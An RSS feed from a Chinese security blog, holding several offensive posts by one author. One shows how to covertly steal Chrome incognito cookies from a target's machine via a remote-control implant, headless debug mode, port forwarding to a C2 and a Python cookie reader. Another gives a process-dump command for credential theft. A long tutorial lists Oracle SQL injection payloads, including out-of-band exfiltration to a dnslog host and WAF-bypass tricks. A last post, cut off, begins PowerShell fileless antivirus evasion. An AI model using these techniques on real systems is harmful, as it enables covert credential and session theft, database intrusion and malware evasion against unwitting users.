<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>s1ye &#8211; ChaBug安全</title>
	<atom:link href="/author/s1ye/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Wed, 16 Sep 2020 14:19:30 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>无痕浏览器也许“并不能”保护你的隐私</title>
		<link>/web/1898.html</link>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Wed, 16 Sep 2020 16:00:35 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[取证]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[渗透]]></category>
		<guid isPermaLink="false">/?p=1898</guid>

					<description><![CDATA[遇到的问题 在某些工作需求中，需要获取用户当前浏览器中的Cookies。由于目标比较严谨，使用了chrome浏览器的无痕模式，因此无法通过复制cookies文件解密的方式获取明文c...]]></description>
										<content:encoded><![CDATA[<h1>遇到的问题</h1>
<p>在某些工作需求中，需要获取用户当前<span class="wpcom_tag_link"><a href="/tags/%e6%b5%8f%e8%a7%88%e5%99%a8" title="浏览器" target="_blank">浏览器</a></span>中的Cookies。由于目标比较严谨，使用了chrome浏览器的无痕模式，因此无法通过复制<span class="wpcom_tag_link"><a href="/tags/cookie" title="cookie" target="_blank">cookie</a></span>s文件解密的方式获取明文cookie。</p>
<p>那么，隐私模式真的可以保护你的cookie了吗？</p>
<h1><span class="wpcom_tag_link"><a href="/tags/chrome" title="Chrome" target="_blank">Chrome</a></span>架构</h1>
<p>Chrome浏览器是多进程架构，有三种进程&#8211;浏览器、渲染器和插件。这也是为什么打开浏览器后默认就有6个进程的原因。<br />
<img src="/wp-content/uploads/2020/09/eece9eef-130e-c35f-4132-7948e225f6a2-1.png" alt="image.png" /></p>
<p>如果想详细了解架构可以参考下面提供的链接，简单来说就是Chrome会启动一个叫做“浏览器”的主进程，其余的“渲染器”进程就是每一个标签页。（这里简单理解一下，后面会利用到这个技术）<br />
<img src="/wp-content/uploads/2020/09/c0f4b392-5324-0219-3eca-9c294e0a8e8f-1.png" alt="image.png" /></p>
<h2>参考</h2>
<p>Google 图解这个系列文章挺好的建议读一读。<br />
<a class="wp-editor-md-post-content-link" href="https://toutiao.io/posts/uozd28/preview">Google 图解：Chrome 快是有原因的，科普浏览器架构</a><br />
<a class="wp-editor-md-post-content-link" href="https://patents.google.com/patent/CN102981903B/zh">一种多核浏览器中进程复用的方法及其多核浏览器</a></p>
<h1>方案一：remote debug</h1>
<p>chrome内核的浏览器支持远程调试，但是仅支持本地访问（localhost:9222）。通过<code>--remote-debugging-port=9222</code>参数指定端口启动chrome内核浏览器，即可通过localhost:9222页面同步其他浏览进程。</p>
<p>由于chrome内核的浏览器是多进程架构，只有一个浏览器主进程，其余的都是渲染器插件等进程，因此只要第一个启动的进程是通过remot debug方式启动，后面的一切新的标签都会被调试模式记录，重点是包括隐私窗口！</p>
<p><img src="/wp-content/uploads/2020/09/99c70ed2-c5d3-cc24-07bd-054fa2a9421e-1.png" alt="image.png" /><br />
<img src="/wp-content/uploads/2020/09/c0ca28ae-dcbc-6d0b-96f8-39a84d80df18-1.png" alt="image.png" /><br />
<img src="/wp-content/uploads/2020/09/2f6d7c1f-2702-1737-206b-c64617784bdc-1.png" alt="image.png" /><br />
自动化获取指定网站cookie<br />
<img src="/wp-content/uploads/2020/09/ecd32b75-9cc6-3200-4809-1a0f155c9d4b-1.png" alt="image.png" /><br />
简单说一下怎么利用，首先要通过你的远控kill掉所有的chrome进程，并通过命令行启动一个无窗口debug模式的浏览器。目标顶多会以为浏览器bug闪退，并且无弹窗不会引起怀疑。下面是一些用的到的命令。</p>
<pre><code class="language-bash line-numbers">$ wmic process where name="chrome.exe" get executablepath
获取chrome浏览器所在目录
$ taskkill /f /im chrome.exe &amp;&amp; chrome.exe --remote-debugging-port=xxxx --no-startup-window
kill掉所有chrome进程，并重新启动无窗口浏览器。利用命令一中获取的路径执行启动命令
$ frpc.exe
端口转发到外网，剩下的就是利用脚本读取指定网站cookie（换成自己c2的ip和端口）。python3 cookies.py localhost:9222
</code></pre>
<p>读cookies的脚本源码</p>
<pre><code class="language-python line-numbers">import websockets
import asyncio
import requests
import json
from sys import argv

async def getCookies(uri):
    data = {"id": 1, "method": "Network.getCookies"}
    command = json.dumps(data)
    async with websockets.connect(uri) as websocket:
        await websocket.send(command)
        res = await websocket.recv()
        print(f" {res}")

def getUri(url):
    rep = requests.get(url)
    dic = json.loads(rep.text)
    res = {}
    for i in range(len(dic)):
        title = dic[i]['title']
        wsuri = dic[i]['webSocketDebuggerUrl']
        res[str(i)] = wsuri
        print(str(i)+". "+title)
    return res

def main(uri):
    while 1:
        cmd = input("&gt; ")
        if cmd=="quit":
            break
        asyncio.get_event_loop().run_until_complete(getCookies(uri[cmd]))



if __name__ == '__main__':
    url = "http://"+argv[1]+"/json"
    uri = getUri(url)
    main(uri)

</code></pre>
<h2>参考</h2>
<p><a class="wp-editor-md-post-content-link" href="https://mango.pdf.zone/stealing-chrome-cookies-without-a-password">Stealing Chrome Cookies</a><br />
<a class="wp-editor-md-post-content-link" href="https://chromedevtools.github.io/devtools-protocol/">Chrome DevTools</a></p>
<h1>方案二：NetLog</h1>
<p>这个也是一个不错的方案，但是我并没有解决无窗口模式的问题，所以容易引起警觉，因此简单说聊一下，具体可以看参考文章。<br />
同样需要先k掉chrome进程，通过命令行指定参数 <code>--log-net-log="C:1.json"</code>，利用<a class="wp-editor-md-post-content-link" href="https://netlog-viewer.appspot.com/#import">NetLog Viewer</a>导入json，读取cookie。</p>
<h2>参考</h2>
<p><a class="wp-editor-md-post-content-link" href="https://yukaii.tw/blog/2019/03/02/chrome-netlog-and-netlog-viewer-hidden-header-credentials/">使用 Chrome NetLog 解析隱藏在 DevTools 中的 Header 資訊</a></p>
<h1>方案三：DLL注入HOOK</h1>
<p>同事也在研究的一个思路，同时某位表哥也给了我同样的思路。由于这部分的技术本人还很欠缺，因此不过多研究了。大致的思路是，HOOK某函数在浏览器https加密之前，获取明文cookie。希望后面可以填坑。</p>
<h1>适用性</h1>
<p>所有Chrome内核浏览器皆适用，比如最新的edge，360Chrome等等 : )。想测的话，可以自己测一下。</p>
<h1>最终</h1>
<p>感谢提供netlog和dll注入思路的表哥，虽然最后一种还在研究中，但学习到了很多。前两种方式也不过是临时方案，方案三才是长久之计。这篇文章只是聊一个思路，给和我同样在某些<span class="wpcom_tag_link"><a href="/tags/%e5%8f%96%e8%af%81" title="取证" target="_blank">取证</a></span>环节需要此方法的人，毕竟大部分同行的工作并不需要这么做。所以按需阅读，谢谢。最后，请遵守法律！</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>进程转储&#8211;rdrleakdiag.exe</title>
		<link>/web/1849.html</link>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Fri, 28 Aug 2020 11:03:56 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<guid isPermaLink="false">/?p=1849</guid>

					<description><![CDATA[进程转储的新方法 rdrleakdiag.exe Microsoft Windows Resource Leak Diagnostic 默认存在的系统： Windows 10 Wi...]]></description>
										<content:encoded><![CDATA[<h1>进程转储的新方法</h1>
<h2>rdrleakdiag.exe</h2>
<p><strong>Microsoft Windows Resource Leak Diagnostic</strong></p>
<p>默认存在的系统：</p>
<table>
<thead>
<tr>
<th></th>
<th>Windows 10</th>
<th>Windows 8.1</th>
<th>Windows 8</th>
<th>Windows7</th>
<th>windows Vista</th>
</tr>
</thead>
<tbody>
<tr>
<td>软件版本</td>
<td>10.0.15063.0</td>
<td>6.3.9600.17415</td>
<td>6.2.9200.16384</td>
<td>6.1.7600.16385</td>
<td>6.0.6001.18000</td>
</tr>
</tbody>
</table>
<p>另外有师傅测试2008没有该exe文件，2016存在。没有的情况可以选择传一个上去。</p>
<h2>使用方法</h2>
<pre><code class="language-rst line-numbers">rdrleakdiag.exe /p &lt;pid&gt; /o &lt;outputdir&gt; /fullmemdmp /wait 1
</code></pre>
<p>会产生两个文件，<code>results_</code>+进程pid+<code>.hlk</code>，<code>minidump_</code>+进程pid+<code>.dmp</code>。</p>
<p><img src="https://i.loli.net/2020/08/28/k4oY6K9JrjIX3QH.png" alt="" /></p>
<p><img src="https://i.loli.net/2020/08/28/mrLxjoODSBGEflH.png" alt="" /></p>
<p><strong>每次开机只能执行一次，需要重启再次执行。</strong></p>
<h2>出处</h2>
<p><a class="wp-editor-md-post-content-link" href="https://twitter.com/0gtweet/status/1299071304805560321">Grzegorz Tworek@0gtweet</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>一篇文章带你入门Oracle注入</title>
		<link>/web/1827.html</link>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Mon, 10 Aug 2020 02:53:57 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[sql]]></category>
		<guid isPermaLink="false">/?p=1827</guid>

					<description><![CDATA[Oracle基础学习 写在前头，本文是我在学习Oracle注入时做的笔记加以整理所作的分享，由于在面试中被问过几次，并不是很难的东西，总是被问住，所以决定抽一些时间彻底学习一遍。一...]]></description>
										<content:encoded><![CDATA[<h1>Oracle基础学习</h1>
<p>写在前头，本文是我在学习Oracle注入时做的笔记加以整理所作的分享，由于在面试中被问过几次，并不是很难的东西，总是被问住，所以决定抽一些时间彻底学习一遍。一些基本语法与My<span class="wpcom_tag_link"><a href="/tags/sql" title="sql" target="_blank">sql</a></span>差别也不是很大，学起来并不费劲。</p>
<p>本文极其适合入门选手，一篇文章足以帮你入门Oracle注入。抄了一些y4博客文章的目录，查阅官方文档细化了函数的使用。请搭配官方文档食用，并亲手实践为主，文中如有错误请通知我更改。</p>
<h2>Oracle Database安装</h2>
<blockquote><p>
  为了方便，直接docker 拉一个镜像回来。</p>
<p>  版本 Oracle Database 11g
</p></blockquote>
<pre><code class="language-bash line-numbers"># 拉取镜像
$ docker pull deepdiver/docker-oracle-xe-11g

# 启动容器
$ docker run -d --name oracledb -p 1002:22 -p 1521:1521 deepdiver/docker-oracle-xe-11g

# 可以选择进入docker操作，不需要将docker 22端口映射出来。
$ docker exec -it oracledb bash
</code></pre>
<p><img src="https://i.loli.net/2020/08/08/ubWUSn7TMweQ42D.png" alt="" /></p>
<h2>基础学习</h2>
<p>dual 是Oracle中的虚表，<strong>任何用户</strong>均可读取，常用在没有目标表的select 语句中。</p>
<p>Oracle数据库中使用的语言有三种，分别为：<code>SQL</code>,<code>java</code>,<code>PL/SQL</code>。</p>
<p><strong>本文接下来所有记录的语法、函数使用等，均摘自Oracle官方文档，如有不明白之处自行去官网查询详细文档即可<a class="wp-editor-md-post-content-link" href="https://docs.oracle.com/en/">官方文档</a></strong></p>
<h3>体系结构</h3>
<pre><code class="language-rst line-numbers"># 实例
  一个Oracle实例（Oracle Instance）有一系列的后台进程和内存结构组成。一个数据库可以有n个实例。

# 用户
  Oracle数据库的基本单位，等同于Mysql中的库。Mysql：当前数据库下有N张表  &lt;=&gt; Oracle：当前用户下有N张表。

# 表空间
  表空间是Oracle对物理数据库上相关数据文件（ORA或者DBF文件）的逻辑映射。一个数据库在逻辑上被划分成一到若干个表空间，每个表空间包含了在逻辑上相关的一组结构。每个数据库至少有一个表空间（称之为system表空间）。
  每个表空间由同一磁盘上的一个或多个文件组成，这些文件叫数据文件（datafile）。一个数据文件只能属于一个表空间。

# 数据文件（dbf,ora）
  数据文件是数据库的物理存储单位。表空间与数据文件是一对多的关系（用户与表空间也是一对多的关系），而数据文件只能属于一个表空间，删除数据文件需先删除该文件所属的表空间。
  表的数据，是由用户放入某一个表空间的，而这个表空间会随机把这些表数据放到一个或多个数据文件中。

</code></pre>
<h3>Oracle数据库中常用角色</h3>
<pre><code class="language-rst line-numbers">connect --连接角色，基本角色
resource --开发者角色
dba --超级管理员角色
</code></pre>
<p><strong>Oracle数据库存在默认用户：scott，密码：tiger。需要超级管理员权限用户解锁。</strong></p>
<h3>语法</h3>
<pre><code class="language-bash line-numbers"># 查看当前连接用户
SQL&gt; select user from dual;
# 创建用户名为sqli密码为pentest的用户
SQL&gt; create user sqli identified by pentest;
# 给新创建的用户授权，connect角色：保证该用户可以连接数据库；resource角色：该用户可以使用数据库资源
SQL&gt; grant connect,resource to sqli;
# 删除用户：当前连接数据库的用户必须具有删除用户权限（如sys）

# 创建表空间（需要超级管理员权限）
SQL&gt; create tablespace pentest
  2  datafile '/tmp/pentest.dbf'
  3  size 100m
  4  autoextend on
  5  next 10m;

Tablespace created.
# 删除表空间
SQL&gt; drop tablespace pentest; --删除表空间后，数据文件依旧存在。

Tablespace dropped.

</code></pre>
<h3>数据类型</h3>
<pre><code class="language-rst line-numbers">1. varchar, varchar2  表示一个字符串。
2. NUMBER    NUMBER(n)表示一个整数，长度是n；NUMBER(m,n)表示一个小数，总长度m，小数：n，整数是m-n。
    eg: NUMBER(4,2) 表示最大可以存储数字为99.99
3. DATA      表示日期类型
4. CLOB      大对象，表示大文本数据类型，可存4G
5. BLOB      大对象，表示二进制数据，可存4G
</code></pre>
<h3>语法</h3>
<pre><code class="language-bash line-numbers"># 创建users表
SQL&gt; create table users(
  2  id number(10),
  3  uname varchar2(16),
  4  pwd varchar2(32)
  5  )
  6  ;

Table created.
# 添加列
SQL&gt; alter table users add email varchar2(40);
# 修改列数据类型
SQL&gt; alter table users modify email char(40);
# 修改列的名称
SQL&gt; alter table users rename column email to sex;
# 删除列
SQL&gt; alter table users drop column sex;
# 插入数据（values字符串不能使用双引号）
SQL&gt; insert into users (id,uname,pwd) values(1,'admin','ab71giedas98g1o2dasgd12e98g');

1 row created.
# 修改数据
update users set uname='administrator';
# 删除数据
delete from users where uname='administrator';
</code></pre>
<h3>序列</h3>
<pre><code class="language-bash line-numbers"># 默认从1开始：依次递增，主要用来给主键赋值使用。序列不真的属于任何表，但是可以逻辑和表做绑定。
SQL&gt; create sequence s_users;

Sequence created.
SQL&gt; insert into users (id,uname,pwd) values(s_users.nextval,'ceshi','d81bojd09sha1onpmd09a');

1 row created.
SQL&gt; select * from users;

        ID UNAME            PWD
---------- ---------------- --------------------------------
         1 admin            ab71giedas98g1o2dasgd12e98g
         3 ceshi            d81bojd09sha1onpmd09a
</code></pre>
<hr />
<h1>Orcale数据库注入学习</h1>
<h2>基础</h2>
<pre><code class="language-rst line-numbers"># Oracle中使用``||``拼接字符串
SQL&gt; select 'pen'||'test' from dual;

'PEN'||
-------
pentest
# 分页操作（mysql中的limit）
SQL&gt; select * from users where rownum&lt;2; --rownum支持&lt;,&lt;=,!=


# 支持的注释符
--
-- -
--空格
/**/
</code></pre>
<p><strong>注：Oracle 字符串区分大小写</strong></p>
<h2>信息获取</h2>
<pre><code class="language-bash line-numbers">SQL&gt; select banner from v$version;

BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
PL/SQL Release 11.2.0.2.0 - Production
CORE    11.2.0.2.0      Production
TNS for Linux: Version 11.2.0.2.0 - Production
NLSRTL Version 11.2.0.2.0 - Production

# 获取其中某版本使用正则即可，举例：
SQL&gt; select banner from v$version where banner like 'Oracle%';

BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

# 获取当前所连接的用户名
SQL&gt; select user from dual;

USER
------------------------------
SQLI

# 获取数据库中所有用户
SQL&gt; select username from all_users;
SELECT name FROM sys.user$; -- 需要高权限

# 获取当前用户权限
SQL&gt; select * from session_privs;

# 获取当前用户所拥有权限下的所有数据库
SQL&gt; select distinct owner,table_name from all_tables;

# 获取指定表的字段（注意这里的table_name全部大写）
SQL&gt; select column_name from all_tab_columns where table_name='USERS';

COLUMN_NAME
------------------------------
ID
UNAME
PWD
</code></pre>
<p><strong>Oracle提供了一个名为的内置命名空间<code>USERENV</code>，用于描述当前会话。以下语句返回登录到数据库的用户的名称：</strong></p>
<pre><code class="language-rst line-numbers">SQL&gt; select SYS_CONTEXT('USERENV','SESSION_USER') from dual;

SYS_CONTEXT('USERENV','SESSION_USER')
--------------------------------------------------------------------------------
SQLI

SQL&gt; select SYS_CONTEXT('USERENV','AUTHENTICATED_IDENTITY') from dual;

SYS_CONTEXT('USERENV','AUTHENTICATED_IDENTITY')
--------------------------------------------------------------------------------
sqli
</code></pre>
<p><strong>具体其他的<code>parameter</code><a class="wp-editor-md-post-content-link" href="https://docs.oracle.com/cd/B19306_01/server.102/b14200/functions165.htm">官方文档</a>有写</strong></p>
<h3>备忘录</h3>
<p><strong><code>1. GLOBAL_NAME</code> 包含一行，显示当前数据库的全局名称。</strong></p>
<p><strong>2. LISTAGG对ORDER BY子句中指定的每个组内的数据进行排序，然后合并度量列的值。<code>measure_expr</code>可以是任何表达。度量列中的空值将被忽略。</strong></p>
<p><img src="https://i.loli.net/2020/08/09/3k2rYTzvbaiolje.png" alt="" /></p>
<p><strong>3. <code>USER_TABLES</code>描述当前用户拥有的关系表。</strong></p>
<p><strong>4. <code>ALL_TABLES</code>描述当前用户可访问的关系表。（类似Mysql中的information_schema.tables）</strong></p>
<p><strong>5. <code>DBA_ALL_TABLES</code>描述数据库中的所有对象表和关系表。其列与中的列相同ALL_ALL_TABLES。</strong></p>
<p><strong>6. <code>ALL_ALL_TABLES</code>描述当前用户可访问的对象表和关系表。</strong></p>
<p><strong>7. <code>USER_ALL_TABLES</code>描述当前用户拥有的对象表和关系表。</strong></p>
<p><strong>8. <code>DBA_TABLES</code>描述数据库中的所有关系表，其列与ALL_TABLES中的列相同，查询条件：DBA权限用户。</strong></p>
<pre><code class="language-bash line-numbers"># 获取当前数据库名
SQL&gt; select * from global_name;

GLOBAL_NAME
--------------------------------------------------------------------------------
XE
# 实现mysql的group_concat
SQL&gt; select listagg(column_name,'~') within group (order by column_name) from user_tab_columns;

LISTAGG(COLUMN_NAME,'~')WITHINGROUP(ORDERBYCOLUMN_NAME)
--------------------------------------------------------------------------------
ID~PWD~UNAME
</code></pre>
<h2>联合查询</h2>
<p><strong><em>注：</em>Oracle中表达式必须具有与对应表达式相同的数据类型，且在Oralce数据库中要求select语句后必须指定要查询的表名（使用虚表dual即可)</strong></p>
<pre><code class="language-bash line-numbers">SQL&gt; select * from users where id=2 union select null,null,null from dual;

        ID UNAME            PWD
---------- ---------------- --------------------------------

# 获取表名
SQL&gt; select * from users where id=2 union select null,null,(select listagg(table_name,'~') within group(order by 1) from all_tables where owner='SQLI') from dual;

        ID UNAME
---------- ----------------
PWD
--------------------------------------------------------------------------------

ADDRESS~USERS

# 获取指定表的字段名
SQL&gt; select * from users where id=2 union select null,null,(select listagg(column_name,':') within group(order by 1) from all_tab_columns where table_name='USERS') from dual;

        ID UNAME
---------- ----------------
PWD
--------------------------------------------------------------------------------

ID:PWD:UNAME
# 获取指定字段内容
SQL&gt; select * from users where id=2 union select null,null,(select listagg(uname||'&amp;'||pwd,':') within group(order by 1) from users where rownum=1) from dual;

    ID UNAME
---------- ----------------
PWD
--------------------------------------------------------------------------------

admin&amp;ab71giedas98g1o2dasgd12e98g
</code></pre>
<p><img src="https://i.loli.net/2020/08/09/MXLRTkZY6tshwlK.png" alt="" /></p>
<h2>报错注入</h2>
<p><strong>报错注入的本质就是使数据库返回一个语法等错误，并且返回错误中的某些内容我们可控，借此来获取我们需要的信息。</strong></p>
<h3>备忘录</h3>
<p><strong>1. <code>UTL_INADDR</code>程序包提供了一个PL/SQL过程来支持Internet寻址。它提供了一个API，用于检索本地和远程主机的主机名和IP地址。</strong></p>
<p><img src="https://i.loli.net/2020/08/09/thugA3KRxoqUnJf.png" alt="" /></p>
<pre><code class="language-rst line-numbers"># 此程序包是调用者的权限程序包，这意味着必须connect在分配给他或她希望连接到的远程网络主机的访问控制列表中向调用用户授予特权。

# Syntax
UTL_INADDR.GET_HOST_NAME (
   ip  IN VARCHAR2 DEFAULT NULL)
RETURN host_name VARCHAR2;

由于GET_HOST_ADDRESS函数所需参数类型是varchar2，且报错时会讲参数表达式结果返回，因此可以借此实现报错注入。GET_HOST_NAME函数同理。
</code></pre>
<p><em>需要注意的是，执行UTL_INADDR软件包需要拥有connect权限的用户，本次学习环境为11g，因此本次笔记暂不考虑之前版本。</em></p>
<p><img src="https://i.loli.net/2020/08/09/p29ECyJ5PRIDwdB.png" alt="" /></p>
<p><strong>2. ctxsys.drithsx.sn，没找到具体官方文档说明，用法如下：</strong></p>
<pre><code class="language-sql line-numbers">SQL&gt; select * from users where id=1 and 1=(select ctxsys.drithsx.sn(1,(select user from dual))from dual);
</code></pre>
<p><strong>3. ctxsys.ctx_report.token_type，这是一个辅助功能，可将英语名称转换为数字标记类型。</strong></p>
<pre><code class="language-sql line-numbers"># 使用方法
function token_type(
  index_name in varchar2,
  type_name  in varchar2
) return number;

SQL&gt; select ctxsys.ctx_report.token_type((select user from dual),1) from dual;
select ctxsys.ctx_report.token_type((select user from dual),1) from dual
       *
ERROR at line 1:
ORA-20000: Oracle Text error:
DRG-10502: index SQLI does not exist
ORA-06512: at "CTXSYS.DRUE", line 160
ORA-06512: at "CTXSYS.CTX_REPORT", line 711
</code></pre>
<p><em>这种类似的可以用来报错注入的函数很多，举个例子：</em></p>
<pre><code class="language-sql line-numbers">SQL&gt; select ctxsys.ctx_report.token_info('aa','xx',1)from dual;
ERROR:
ORA-20000: Oracle Text error:
DRG-10502: index AA does not exist
ORA-06512: at "CTXSYS.DRUE", line 160
ORA-06512: at "CTXSYS.CTX_REPORT", line 615
ORA-06512: at line 1

no rows selected
</code></pre>
<p><strong>4. dbms_xdb_version.checkin,此函数检入已签出的VCR，并返回新创建版本的资源ID。</strong></p>
<pre><code class="language-rst line-numbers"># 用法
DBMS_XDB_VERSION.CHECKIN(
   pathname VARCHAR2) 
 RETURN DBMS_XDB.resid_type;

 如果路径名不存在，则会引发异常。

SQL&gt; select * from users where id=1 and '0x2e'=(select dbms_xdb_version.checkin((select user from dual))from dual);
select * from users where id=1 and '0x2e'=(select dbms_xdb_version.checkin((select user from dual))from dual)
              *
ERROR at line 1:
ORA-31001: Invalid resource handle or path name "SQLI"
</code></pre>
<p><em>需要注意使用二进制数据类型</em></p>
<p><code>dbms_xdb_version.makeversioned</code></p>
<pre><code class="language-rst line-numbers">DBMS_XDB_VERSION.MAKEVERSIONED(
   pathname   VARCHAR2) 
 RETURN DBMS_XDB.resid_type;

如果资源不存在，则会引发异常。
</code></pre>
<p><em>需要注意使用二进制数据类型</em></p>
<p>报错注入的payload就不写太多了，原理感觉都那样，还有很多类似的函数等可以挖掘出来，具体还有哪些常见的报错注入payload可以看<a class="wp-editor-md-post-content-link" href="[https://y4er.com/post/oracle-sql-inject/#%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5](https://y4er.com/post/oracle-sql-inject/#报错注入)">Y4er博客</a>文章里面的总结。</p>
<h2>盲注</h2>
<p>感觉这部分没什么可以记录的，盲注的思路都差不多，字符串比较，运算符的运用。随便记录一下吧。</p>
<pre><code class="language-sql line-numbers"># decode函数用来比较。
SQL&gt; select * from users where id=1 and 1=(select decode(user,'SQLI',1) from dual);
SQL&gt; select * from users where id=1 and 'S'=(select substr(user,1,1)from dual);
</code></pre>
<p><img src="https://i.loli.net/2020/08/09/6UqFAvx4wTp5h3P.png" alt="" /></p>
<p><strong>需要注意大小写的问题</strong></p>
<h2>延时注入</h2>
<pre><code class="language-sql line-numbers"># 用来判断注入点还行
SQL&gt; select count(*) from all_objects;

# 利用了oracle管道功能接收消息的函数RECEIVE_MESSAGE，实现延时注入
DBMS_PIPE.RECEIVE_MESSAGE (
   pipename     IN VARCHAR2,
   timeout      IN INTEGER      DEFAULT maxwait)
RETURN INTEGER;

# 简单的使用
SQL&gt; select dbms_pipe.receive_message('aaa',3) from dual;

DBMS_PIPE.RECEIVE_MESSAGE('AAA',3)
----------------------------------
                 1
SQL&gt; select dbms_pipe.receive_message('aaa',(decode((select user from dual),'SQLI',3))) from dual;

</code></pre>
<p><img src="https://i.loli.net/2020/08/09/LKjFgtpo6IvkGeh.png" alt="" /></p>
<h2>带外攻击OOB（Out Of Band）</h2>
<blockquote><p>
  既然是带外攻击，自然需要connect
</p></blockquote>
<p><strong>utl_http.request</strong></p>
<pre><code class="language-bash line-numbers">UTL_HTTP.REQUEST (
   url              IN VARCHAR2,
   proxy            IN VARCHAR2 DEFAULT NULL, 
   wallet_path      IN VARCHAR2 DEFAULT NULL,
   wallet_password  IN VARCHAR2 DEFAULT NULL)
RETURN VARCHAR2;

SQL&gt; select utl_http.request('http://ip/?result='||(select user from dual))from dual;

我这里测试没有成功，报错ORA-00904: : invalid identifier，可能是版本问题。
</code></pre>
<p><strong>utl_inaddr.get_host_address</strong></p>
<p>报错注入那个函数，不过多介绍了</p>
<pre><code class="language-sql line-numbers">SQL&gt; select utl_inaddr.get_host_address((select user from dual)||'.o6xgjz.dnslog.cn')from dual;
</code></pre>
<p><img src="https://i.loli.net/2020/08/09/53W9rAHguphiRMe.png" alt="" /></p>
<p><strong>DBMS_LDAP</strong></p>
<p>DBMS_LDAP软件包使您可以从LDAP服务器访问数据。</p>
<pre><code class="language-rst line-numbers">FUNCTIONN INIT():
    init()用LDAP服务器初始化会话。这实际上建立了与LDAP服务器的连接。

# 语法
FUNCTION init      
(
hostname IN VARCHAR2,
portnum  IN PLS_INTEGER
)
RETURN SESSION;
</code></pre>
<p><img src="https://i.loli.net/2020/08/09/3mufFiD86WwNJsC.png" alt="" /></p>
<p><strong>HTTPURITYPE</strong></p>
<p>可以创建UriType列，并在其中存储DBURITYPE，XDBURITYPE或HTTPURITYPE的实例。 您还可以定义自己的UriType子类型来处理不同的URL协议。</p>
<pre><code class="language-reStructuredText line-numbers">列举几个可以带外的函数
通过阅读官方文档，明显可以看出会请求httpuritype所指定的uri的函数有哪些。

1. GETCONTENTTYPE() 作用：返回URI指向的文档的内容类型。
2. GETCLOB() 作用：返回位于HTTP URL地址的CLOB。
3. GETBLOB() 作用：返回位于URL指定的地址的BLOB。
   select httpuritype.createuri('http://xxx.o6xgjz.dnslog.cn/').getblob() from dual;
4. GETXML() 作用：返回位于URL指定的地址的。
   select httpuritype.createuri('http://xxx.o6xgjz.dnslog.cn/').getxml() from dual;
</code></pre>
<p><img src="https://i.loli.net/2020/08/09/Kx6nAyCk5LFhZqj.png" alt="" /></p>
<p><strong>文章到此为止了，仅作为Oracle注入入门的学习笔记，在后续学习java的过程中，会继续将Oracle注入更深入的利用（历史漏洞XXE，提权，执行命令等）记录笔记并做分享。</strong></p>
<h1>抛砖引玉</h1>
<p><strong>一些很常见的tips在Oracle数据库中的尝试，至于具体实际中如何去bypass waf，还望自行发挥。</strong></p>
<pre><code class="language-rst line-numbers"># 借用了在MySQL中bypass常用的技巧来做了简单的可行性测试，注释符和换行的搭配使用。
1. 注释符拼接垃圾字符配合换行
SQL&gt; select -- asdnaso/*asdas*/
  2  user from--ioasndoiand
  3  dual;

USER
------------------------------
SQLI

2. 利用waf的通用性特点
SQL&gt; select user/*!saho*/from dual;

USER/*!SAHO*/
------------------------------
SQLI

SQL&gt; 


调用函数是可使用空格换行等
select ctxsys. drithsx.sn(user,'aa')from dual;  
</code></pre>
<p><img src="https://i.loli.net/2020/08/09/FkYTBX3Qg5WbwIA.png" alt="" /></p>
<pre><code class="language-rst line-numbers">在线靶场
http://o1.lab.aqlab.cn:81/?id=1
</code></pre>
<h3>你学废了吗？</h3>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Powershell免杀（无文件落地免杀）</title>
		<link>/web/1324.html</link>
					<comments>/web/1324.html#comments</comments>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Sun, 01 Mar 2020 11:16:06 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<guid isPermaLink="false">/?p=1324</guid>

					<description><![CDATA[无文件落地 顾名思义，无需将恶意文件传到目标服务器/机器上，直接利用powershell的特性加载到内存执行。为了在红队行动中更隐蔽的实施攻击以及横向移动，同时还可以解决目标不出网...]]></description>
										<content:encoded><![CDATA[<h3>无文件落地</h3>
<p>顾名思义，无需将恶意文件传到目标服务器/机器上，直接利用powershell的特性加载到内存执行。为了在红队行动中更隐蔽的实施攻击以及横向移动，同时还可以解决目标不出网只能通过dns上线时的棘手问题，利用powershell可以避免一行行echo。</p>
<p>通过两种方式进行无文件落地的免杀，一种是出网的情况，另一种为不出网情况。</p>
<p><strong>声明：</strong> 文章内容仅供网络安全爱好者学习使用，请勿用文章中提到的技术或工具做违法的事情，否则后果自负。</p>
<hr />
<h4>目标出网</h4>
<blockquote><p>
  利用downloadstring远程读取powershell文件并iex执行
</p></blockquote>
<ul>
<li>iex => Invoke-expression 将字符串当作powershell代码执行</li>
<li>Set-Alias 给powershell函数以及变量赋予别称</li>
</ul>
<p>出网的思路是，通过downloadstring下载上篇文章中的remoteshell.ps1文件并执行，但是需要绕过卡巴斯基对downloadstring操作的拦截。方法有很多种，我通过以下方式绕过：</p>
<pre><code class="language-powershell "># command
